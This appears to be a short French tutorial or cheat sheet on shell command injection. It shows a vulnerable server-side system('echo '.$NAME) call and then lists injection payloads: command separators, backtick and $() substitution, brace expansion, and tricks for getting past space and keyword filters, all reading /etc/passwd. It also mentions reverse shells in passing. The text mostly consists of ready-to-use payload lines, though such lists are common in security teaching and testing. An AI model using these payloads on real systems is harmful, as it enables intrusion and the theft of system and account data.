L'injection de commande Shell est possible quand un programme utilise une donnée, entrée par l'utilisateur, sans la filtrer, comme argument d'une commande shell.
Par exemple: un formulaire permet de saisir son nom et l'afficher. Le code coté serveur va ressembler à:
system ('echo '.$NAME);
Si nous saisissons:
YOLO; cat /etc/password;
Le serveur va enchainer les deux commandes en executant:
system ('echo YOLO; cat /etc/password;');
Nous allons récupérer le contenu du fichier passwd.
Avec une injection de commande nous avons la main sur le serveur. Nous pouvons récupérer des informations sur le serveur (uname -a), recupérer des noms de comptes (cat /etc/passwd), récupérer les fichiers de config du serveur web, lancer un reverse shell...
Utiliser les séparateurs de commandes ; && | ||
echo YOLO; cat /etc/passwd
echo YOLO && cat /etc/passwd
echo YOLO | cat /etc/passwd
echo YOLO || cat /etc/passwd Seulement si la première commande est en echec
Il est possible de forcer l'execution d'une commande avec ` $ et {
echo `cat /etc/passwd`
echo $(cat /etc/passwd)
echo {cat,/etc/passwd}
Les développeurs peuvent avoir mis des filtres pour empécher l'execution de commande. Par exemple retirer les espaces. Néanmoins, même sans espaces, il est toujours possible de lancer lancer des commandes:
cat</etc/passwd
{cat,/etc/passwd}
X=$'cat\x20/etc/passwd'&&$X
Si un filtre recherche une liste de commandes, il est toujours possible de le contourner: simple quote, double quote, backslash et slash
c'a't /etc/passwd
cat /etc/passwd
c\at /etc/passwd
who``ami
Et si un nom de fichier est filtré, il est possible de multiplier les / Filtre sur cat et /etc/passwd
c\at /etc////////passwd